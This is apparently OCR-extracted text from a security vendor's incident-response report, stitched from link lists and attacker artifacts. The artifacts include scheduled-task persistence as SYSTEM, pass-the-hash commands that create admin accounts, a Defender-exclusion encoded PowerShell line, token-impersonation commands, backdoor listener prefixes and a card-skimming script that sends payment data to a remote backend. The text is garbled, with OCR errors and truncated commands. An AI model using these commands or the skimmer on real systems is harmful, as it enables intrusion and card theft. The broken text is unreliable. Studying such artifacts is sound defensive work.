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https://www.kaspersky.com.cn/enterprise-security/managed-detection-and-response
https://www.kaspersky.com/enterprise-security/soc-consulting
https://www.kaspersky.com.cn/enterprise-security/incident-response
https://www.kaspersky.com.cn/enterprise-security/compromise-assessment
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https://attack.mitre.org/techniques/T1474/
https://attack.mitre.org/techniques/T1199/
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https://content.kaspersky-labs.com/fm/site-editor/80/80656d7175d32119a1aed926f6914c4c/source/kaspersky-managed-detection-and-response-analyst-report-0325-zh-hans.pdf
https://content.kaspersky-labs.com/fm/site-editor/68/680c25624a59707e4f047ae135f78229/source/kaspersky-mdr-report-2023.pdf
https://content.kaspersky-labs.com/fm/site-editor/52/52f9ce493bb257698e60f823b2b3e16d/source/kaspersky-mdr-analyst-report-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/b0/b08f9262f427a2b9e6c00d7c608842f3/source/mdr-analyst-report-2021.pdf
https://content.kaspersky-labs.com/fm/site-editor/32/326d836298373d796c965e4bfb9ced85/source/mdr-analyst-report-q4-2020.pdf
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https://content.kaspersky-labs.com/se/media/cn/enterprise-security/kaspersky-incident-response-analyst-report-zh-hans.pdf
https://content.kaspersky-labs.com/fm/site-editor/52/526c20352425d20e8cce4b0dd07f305f/source/kaspersky-ir-analyst-report-2023.pdf
https://content.kaspersky-labs.com/fm/site-editor/43/43fdc6bda5b4aa26747a89146ca6948f/source/the-nature-of-cyberincidents-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/72/72d83757a59aaa0d607b51dee785e55d/source/incident-response-analyst-report-2022.pdf
https://content.kaspersky-labs.com/fm/site-editor/93/93dd43a60d467c64822573d47b52b7ec/source/kaspersky-incident-response-analyst-2020.pdf
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https://attack.mitre.org/software/S0633/
https://attack.mitre.org/software/S0521/
https://github.com/rapid7/metasploit-framework
https://attack.mitre.org/techniques/T1015
https://attack.mitre.org/software/S0154/
https://lolbas-project.github.io/
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https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_March_2020.pdf

“C:\Windows\System32\WScript.exe" "wscript.exe"
"C:\Usezrs\ \AppData\Local\Temp\1l 9.vbs" "C:\Users\ \AppData\Local\Temp\5 5.vbs"

(PID: 628) C:\Windows\system32\services.exe
L—— (PID: 6296) C:\Windows\system32\ServerManagerLauncher.exe
L—— (PID: 5768) "C:\Windows\system32\mmc.exe" "C:\Windows\system32\ServerManager.msc"



https://securelist.com/kaspersky-managed-detection-and-response-report-2024/115635/
https://attack.mitre.org/techniques/T1059/005/
https://securelist.com/kaspersky-mdr-report-2023/112411/
https://attack.mitre.org/techniques/T1218/014/

C:\Windows\System32\services.exe
-> C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
-> "powershell.exe" -NonInteractive -enc [BASE64]
-> "C:\Windows\system32\cmd.exe" /C whoami
"C:\Windows\system32\cmd.exe" /C tasklist /svc
"C:\Windows\system32\cmd.exe" /C netstat -ano
"C:\Windows\system32\cmd.exe" /C ping -n 1 8.8.8.8
"C:\Windows\system32\cmd.exe" /C c:\windows\temp\klnagentx.exe 103.
"C:\Windows\system32\cmd.exe" tasklist /svc
"C:\Windows\system32\cmd.exe" c:\windows\temp\klnagentx.exe -h
"C:\Windows\system32\cmd.exe" c:\\windows\\temp\\klnagentx.exe -h
"C:\Windows\system32\cmd.exe" taskkill /f /im klnagentx.exe
-> "C:\Windows\system32\cmd.exe" tokei -H aa 1404ee:
448535c97b3fc9
-> "C:\Windows\system32\cmd.exe" sc.exe create MpKslad05flba type=kernel binpath=c:\windows)\
System32\drivers\MpKslDrv.sys
"C:\Windows\system32\cmd.exe" sc.exe start MpKslad05flba
"C:\Windows\system32\cmd.exe" cd
"C:\Windows\system32\cmd.exe" netstat -ao
"C:\Windows\system32\cmd.exe" netstat -ano
"C:\Windows\system32\cmd.exe" sc.exe stop MpKslad05flba
"C:\Windows\system32\cmd.exe" sc.exe delete MpKslad05flba
"C:\Windows\system32\cmd.exe" del c:\windows\System32\drivers\MpKslDrv.sys
"C:\Windows\system32\cmd.exe" del c:\windows\System32\aprds.dll
"C:\Windows\system32\cmd.exe" del c:\windows\System32\rsd.dat
"C:\Windows\system32\cmd.exe" klnagentx.exe roo.dat
"C:\Windows\system32\cmd. ! taskkill /f /im klnagentx.exe
"C:\Windows\system32\cmd. klnagentx.exe roo.dat
"C:\Windows\system32\cmd. ! tasklist /svc
"C:\Windows\system32\cmd. ! ping -c 1

1. schtasks /create /tn "EdgeUpdateWinr" /tr "cmd /c c:\programdata\syc\sshd.exe" /sc hourly /ru SYSTEM
/£

Task path: C:\Windows\System32\Tasks\EdgeUpdateWinz,

Schedule task name: EdgeUpdateWinr

Registry path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D92
C7A4A}:Actions

Command: "cmd" /c c:\programdata\ \sshd.exe

2. schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\" -config \"C:\
ProgramData\ lak.ovpn\"" /sc onstart /ru SYSTEM /f

Task path: C:\Windows\System32\Tasks\WindowsAutoTask

Schedule task name: WindowsAutoTask

Registry path: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{F8
1A9}:Actions

Command: schtasks /create /tn "WindowsAutoTask" /tr "\"C:\Program Files\OpenVPN\bin\openvpn.exe\"

-config \"C:\ProgramData\ ak.ovpn\"" /sc onstart /ru SYSTEM /f



https://attack.mitre.org/techniques/T1569/002/
https://attack.mitre.org/techniques/T1543/003/
https://attack.mitre.org/techniques/T1053/005/
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Import-Module ./Invoke-TheHash.psdl

Invoke-WMIExec -Target "<IP>" -Domain "<DOMAIN>" -Username "<USER>" -Hash "<HASH>" -Command "net user
Userl Passwordl! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain "<DOMAIN>" -Username "<USER>" -Hash "<HASH>" -Command "net user
User2 Passwordl! /ad" -verbose

Invoke-SMBExec -Target "<IP>" -Domain "<DOMAIN>" -Username "<USER>" -Hash "<HASH>" -Command "net
localgroup Administrators Userl /ad" -verbose

HR{FAR S35 2% ARS588 1



c:\users\mpdefender.exe

cmd.exe /c "cd /d C:\users\public &amp;&amp; start
sideloaded the malicious Wiper DLL file - MpClient.dll (MD5 2DFEF0C375933B725C047A7E25B27CEE)

"C:\users\public\Mpdefender.exe




<?xml version="1.0" encoding="UTF-16"?>

<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>

<Date>2025-06-19T08:36:48</Date>

<Author>REDACTED</Author>

<URI>\DefenderUpdatefor</URI>

</RegistrationInfo>

<Principals>

<Principal id="Author">

<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>

</Principal>

</Principals>

<Settings>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIlfGoingOnBatteries>
<Enabled>false</Enabled>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<IdleSettings>

<Duration>PT10M</Duration>

<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>

</IdleSettings>

</Settings>

<Triggers>

<TimeTrigger>
<StartBoundary>2025-06-19712:30:00</StartBoundary>
</TimeTrigger>

</Triggers>

<Actions Context="Author">
<Exec>
<Command>cmd</Command>
<Arguments>/c "cd /d C:\users\public && start
</Exec>

</Actions>

</Task>

nwn nn

"C:\users\public\Mpdefender.exe""</Arguments>

N N
c:\inetpub\calibre.exe c:\inetpub\history\ c:\program files c:\inetpub\history\
ca.exe (x86)\windows calibre-launcher.dll
defender\calibre.exe

powershell -nop -exec bypass -EncodedCommand
QQBkAGQALQBNAHAAUABYAGUAZgBTAHIAZQBUAGMAZQAZACOARQB4AGMAbAB1AHMAaQBVAG4AUABhAHQAaAAgACIAQWASACIA
Add-MpPreference -ExclusionPath "C:'

.\Impersonate.exe

\Impersonate.exe list

\Impersonate.exe exec ipconfig

\Impersonate.exe exec "net user /domain>1.txt"

\Impersonate.exe exec cmd

\Impersonate.exe exec cmd /k whoami

\Impersonate.exe exec cmd
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http://+:80/Temporary_Listen_Addresses/
https://+:443/autodiscover/autodiscovers/
https://+:443/ews/exchanges/

https://+:444/ews/ews/

HttpListener listener = new HttplListener();

listener.Prefixes.Add("https://+:443/autodiscover/autodiscovers/");

listener.Start();
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const _x = {
'RSA_PUBLIC_KEY': "--BEGIN PUBLIC KEY--\...<edited>..—-END PUBLIC KEY--",
'BACKEND_URL': atob("...<edited>..”)

const _y = async _y => {

try {

const _z = await fetch(_xxx.BACKEND_URL, {
‘method': "POST",

'headers': {

‘Content-Type': "application/json"

Jia
'body': JSON.stringify({
‘encrypted_data': _a

_b.addEventListener("mouseenter”, async () => {

try {
const _d = {

Tbard_number': document.getElementById("card_number")?.['value'] ||
'expiry_date': document.getElementById("expire_date")?.["value"] ||
‘cvv': document.getElementById("card_cvv")?.["value"] || '

5

const _zz = new JSEncrypt();
_zz.setPublicKey(...)




https://*:443/DELAY_SRV/
http://*:80/DELAYS_SRV/
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https://www.kaspersky.com.cn/file-reputation
https://github.com/fortra/impacket
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https://securelist.com/siem-effectiveness-assessment/118560/
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https://www.kaspersky.com.cn/enterprise-security/managed-detection-and-response#form
https://www.kaspersky.com.cn/enterprise-security/contact?icid=ca-ssreport
https://www.kaspersky.com.cn/enterprise-security/contact-investigation?icid=ssreport
https://www.kaspersky.com.cn/enterprise-security/managed-detection-and-response#form
https://www.kaspersky.com.cn/enterprise-security/contact?icid=ca-ssreport
https://www.kaspersky.com.cn/enterprise-security/contact-investigation?icid=ssreport
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https://dfi.kaspersky.com/
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https://attack.mitre.org/techniques/T1098/
https://attack.mitre.org/techniques/T1566/
https://attack.mitre.org/techniques/T1204/
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https://www.kaspersky.com.cn/enterprise-security/incident-response
https://www.kaspersky.com.cn/enterprise-security/managed-detection-and-response
https://www.kaspersky.com.cn/enterprise-security/compromise-assessment
https://www.kaspersky.com/enterprise-security/soc-consulting
https://www.kaspersky.com.cn/enterprise-security/security-assessment
https://dfi.kaspersky.com/
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